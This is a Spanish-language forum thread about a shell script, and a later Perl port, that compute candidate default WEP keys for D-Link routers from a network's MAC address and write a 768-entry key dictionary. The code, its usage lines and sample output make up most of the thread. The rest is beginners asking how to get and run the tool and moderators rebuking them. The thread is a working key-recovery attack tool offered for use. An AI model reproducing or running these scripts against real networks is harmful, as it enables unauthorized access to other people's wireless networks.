Seguridad Wireless - Wifi

Sistemas operativos => Zona GNU/Linux => Aplicaciones y diccionarios linux => Mensaje iniciado por: *dudux en 11-12-2008, 21:52 (Jueves)

Título: dlinkdecrypter.sh
Publicado por: *dudux en 11-12-2008, 21:52 (Jueves)
Autor: Pianista y hodgar

Código: [Seleccionar]
#!/bin/bash
P1=`echo $1|cut -d : -f 1`
P2=`echo $1|cut -d : -f 2`
P3=`echo $1|cut -d : -f 3`
P4=`echo $1|cut -d : -f 4`
P5=`echo $1|cut -d : -f 5`
P6=`echo $1|cut -d : -f 6`
P61=`echo $P6 | cut -c1-1`
P62=`echo $P6 | cut -c2-2`

S1=$P61

if [ $P62 = "F" ]; then
   S2="E"
fi
if [ $P62 = "E" ]; then
   S2="D"
fi
if [ $P62 = "D" ]; then
   S2="C"
   fi
if [ $P62 = "C" ] ; then
   S2="B"
   fi
if [ $P62 = "B" ]; then
   S2="A"
   fi
if [ $P62 = "A" ]; then
   S2="9"
   fi
if [ $P62 = "9" ]; then
   S2="8"
   fi
if [ $P62 = "8" ]; then
   S2="7"
   fi
if [ $P62 = "7" ]; then
   S2="6"
   fi
if [ $P62 = "6" ]; then
   S2="5"
   fi
if [ $P62 = "5" ]; then
   S2="4"
   fi
if [ $P62 = "4" ]; then
   S2="3"
   fi
if [ $P62 = "3" ]; then
   S2="2"
   fi
if [ $P62 = "2" ]; then
   S2="1"
   fi
if [ $P62 = "1" ]; then
   S2="0"
   fi
if [ $P62 = "0" ]; then
   S2="F"
   if [ $P61 = "F" ]; then
      S1="E"
      fi
   if [ $P61 = "E" ]; then
      S1="D"
      fi
   if [ $P61 = "D" ]; then
      S1="C"
      fi
   if [ $P61 = "C" ]; then
      S1="B"
      fi
   if [ $P61 = "B" ]; then
      S1="A"
      fi
   if [ $P61 = "A" ]; then
      S1="9"
      fi
   if [ $P61 = "9" ]; then
      S1="8"
      fi
   if [ $P61 = "8" ]; then
      S1="7"
      fi
   if [ $P61 = "7" ]; then
      S1="6"
      fi
   if [ $P61 = "6" ]; then
      S1="5"
      fi
   if [ $P61 = "5" ]; then
      S1="4"
      fi
   if [ $P61 = "4" ]; then
      S1="3"
      fi
   if [ $P61 = "3" ]; then
      S1="2"
      fi
   if [ $P61 = "2" ]; then
      S1="1"
      fi
   if [ $P61 = "1" ]; then
      S1="0"
      fi
   if [ $P61 = "0" ]; then
      S1="0"
      S2="0"
      fi
   fi

echo "Wep key default DLink"
echo "             Opción 1: "$P6$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$P3
echo "             Opción 2: "$S1$S2$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$P3
echo "             Opción 3: "$S1$S2$P1$P5$P2$P3$P4$S1$S2$P5$P2$P3$P4$P1$P3

for f in 0 1 2 3 4 5 6 7 8 9 A B C D E F
do
   for t in 0 1 2 3 4 5 6 7 8 9 A B C D E F
   do

echo $P6$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
echo $S1$S2$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
echo $S1$S2$P1$P5$P2$P3$P4$S1$S2$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink

done
done

Uso
Código: [Seleccionar]
dlinkdecrypter.sh 00:19:5B:44:37:87

Código: [Seleccionar]

root@debian trastero # ./dlink.sh 00:19:5a:33:55:66
Wep key default DLink
             Opción 1: 660055195a336655195a33005a
             Opción 2: 650055195a336655195a33005a
             Opción 3: 650055195a336555195a33005a
root@debian trastero #














Título: Re: dlinkdecrypter.sh
Publicado por: *dudux en 12-12-2008, 01:08 (Viernes)
Lo pasaré a perl o a C en cuanto pueda.
Un saludo!  ;)

creo que no hace fallta.......
Título: Re: dlinkdecrypter.sh
Publicado por: z1rr0s1s en 12-12-2008, 11:50 (Viernes)
funciona bien? alguien lo ha probado?

Un saludo!
Título: Re: dlinkdecrypter.sh
Publicado por: *dudux en 12-12-2008, 12:44 (Viernes)
Funciona bien
Título: Re: dlinkdecrypter.sh
Publicado por: ironjon en 12-12-2008, 13:41 (Viernes)
una chincheta no le vendria mal
Título: Re: dlinkdecrypter.sh
Publicado por: *dudux en 12-12-2008, 14:20 (Viernes)
una chincheta no le vendria mal

echo  :)
Título: Re: dlinkdecrypter.sh
Publicado por: ironjon en 12-12-2008, 20:13 (Viernes)
funciona en ubuntu 8.10  >:(
Título: Re: dlinkdecrypter.sh
Publicado por: *dudux en 12-12-2008, 20:42 (Viernes)
funciona en ubuntu 8.10  >:(

me suena que alguien ya lo uso :P
http://tubalmartin.googlecode.com/svn/trunk/html/EWFInet.html#
Título: Re: dlinkdecrypter.sh
Publicado por: ironjon en 12-12-2008, 23:20 (Viernes)
funciona en ubuntu 8.10  >:(

me suena que alguien ya lo uso :P
http://tubalmartin.googlecode.com/svn/trunk/html/EWFInet.html#

Si es que todo son facilidades  :D
Título: Re: dlinkdecrypter.sh
Publicado por: ka0x en 15-12-2008, 15:15 (Lunes)
Hola muy buenas,
Hace unos días porte esta herramienta a PERL para que quedaría un poco más limpio, puede que tenga algunos fallos, cualquier cosa que vean me dicen y lo arreglo:

Código: [Seleccionar]
#!/usr/bin/perl -w

# dlinkdecrypter.pl v0.1
# written by ka0x <ka0x01[alt+64]gmail.com>
# www.domlabs.org

# Basado en el script en bash realizado por hrodgar y Pianista de seguridadwireless.net
# http://www.domlabs.org/files/codes/dlinkdecrypter.sh

my $mac = uc($ARGV[0]);
my $file = $ARGV[1];
die &usage unless $ARGV[1];

sub usage {
print "\n\t","-=-" x 7,"\n";
print "\t  DLinkDecrypter.pl\n";
print "\t   written by ka0x\n";
print "\t","-=-" x 7,"\n\n";
print "[*] usage: perl $0 <BSSID> <output file>\n";
print "[*] ex: perl $0 00:19:5B:44:37:87 keys_dlink.txt\n\n";
exit 1;
}

if(length($mac) != 17){
die "[-] Longitud de MAC Incorrecta\n" ;
}

my @macb = split(/\:/,$mac) ;
my $p_byte = substr($macb[5],0,1);
my $f_byte = substr($macb[5],1,1);

my $s1 = $p_byte ;
my $s2 = chr(ord( $f_byte )-1);

if($f_byte eq 0){
$s2 = 'F';
$s1 = chr(ord( $p_byte )-1);
$s1 = 9 if($p_byte eq "A");

if($p_byte eq 0){
$s1 = 0;
$s2 = 0;
}
}
$s2 = 9 if($f_byte eq "A");

print "- Wep key default DLink\n";
print "\n\tOpcion 1: ".$macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 2: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 3: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";

die "\n[-] El archivo '$file' ya existe.\n" if(-e $file);

open(KEYS, ">>$file") || die $!,"\n";
foreach $f(0..9,A..F){
foreach $t(0..9,A..F){
print KEYS $macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
}
}
close(KEYS);
print "\n[+] Archivo de claves '$file', generado.\n";

__END__

ka0x@domlabs:~$ perl dlinkdecrypter.pl 00:19:5a:33:55:EA keys.txt
- Wep key default DLink

   Opcion 1: EA0055195A33EA55195A33005A
   Opcion 2: E90055195A33EA55195A33005A
   Opcion 3: E90055195A33E955195A33005A

ka0x@domlabs:~$ cat keys.txt | wc -l
768
ka0x@domlabs:~$
Título: Re: dlinkdecrypter.sh
Publicado por: *dudux en 15-12-2008, 15:59 (Lunes)
no hacia falta pasarlo pero bueno.........no esta mal
gracias ......lo subire  los scripts a wifiway.org y a fileden
Título: Re: dlinkdecrypter.sh
Publicado por: Celso en 10-02-2009, 20:49 (Martes)
hola, debe molar el programa pero se echa en falta un tutorial para torpes o algo asi,
no se ni por donde pillarlo...
Título: Re: dlinkdecrypter.sh
Publicado por: ChimoC en 11-02-2009, 15:40 (Miércoles)
Buenas:

Que yo recuerde ya te viene de serie en Wifislax/Wifiway

Un saludo

ChimoC
Título: Re: dlinkdecrypter.sh
Publicado por: Celso en 11-02-2009, 17:30 (Miércoles)
ya, pero es para instalarlo en ubuntu
Título: Re: dlinkdecrypter.sh
Publicado por: pitoloko en 06-05-2009, 09:09 (Miércoles)
hola, podeis subir el script ya hecho? no cuesta nada hombre!

graciass
Título: Re: dlinkdecrypter.sh
Publicado por: *dudux en 18-05-2009, 21:17 (Lunes)
hola, podeis subir el script ya hecho? no cuesta nada hombre!

graciass

pq no llo haces tu?
Título: Re: dlinkdecrypter.sh
Publicado por: martinn19 en 24-03-2011, 19:27 (Jueves)
hola que tal eh leido pero no se como puedo descargarme el programa y como puedo utilisarlo muchas gracias ---=)
Título: Re: dlinkdecrypter.sh
Publicado por: Pac0 en 24-03-2011, 19:34 (Jueves)
Este programa es sólo para Linux, así que asegurate de que tienes linux a parte de windows, si no no funciona
Título: Re: dlinkdecrypter.sh
Publicado por: martinn19 en 24-03-2011, 19:37 (Jueves)
no tengo linux me podrias decir donde puedo descargarmelo y teniendo linux como usarlo por favor

Post Merge: 24-03-2011, 19:57 (Jueves)
soy novato porfa espero que me puedan ayudar gracias
Título: Re: dlinkdecrypter.sh
Publicado por: niroz en 24-03-2011, 21:12 (Jueves)
no tengo linux me podrias decir donde puedo descargarmelo y teniendo linux como usarlo por favor

Post Merge: [time]jue 24 mar 2011 19:57:40 GMT-1[/time]
soy novato porfa espero que me puedan ayudar gracias

Al final me vas a obligar a decirte algo parecido a lo que te ha dicho pazienzia (https://foro.seguridadwireless.net/aplicaciones/jazzteldecrypter-para-windows/msg193730/#msg193730).

Esto no es un servicio personalizado de ayuda pasito a pasito. No se puede hacer un manual personalizado para cada uno que llega nuevo.

Si no sabes descargar este programa, es porque este programa no es para ti.

Busca wifiway 2.0.2 eso es una distribución Linux. O búscate la vida en google como hace todo el mundo para encontrar y descargar una distribución linux y luego como estás muy verde sigue leyendo y leyendo y leyendo durante días o semanas si es necesario antes de preguntar como se instala, porque está todo por ahí en internet.

Esto no te vendría mal: http://www.sindominio.net/ayuda/preguntas-inteligentes.html

http://www.sindominio.net/ayuda/preguntas-inteligentes.html#CLASSIC
Título: Re: dlinkdecrypter.sh
Publicado por: martinn19 en 24-03-2011, 21:23 (Jueves)
bueno muchas gracias de todas maneras por su respuesta voy a seguir indagando
Título: Re: dlinkdecrypter.sh
Publicado por: ChimoC en 24-03-2011, 23:43 (Jueves)
Buenas:

@martinn19: Ya te había dado un aviso..ahora te banearé parcialmente una temporadita para que leas

ChimoC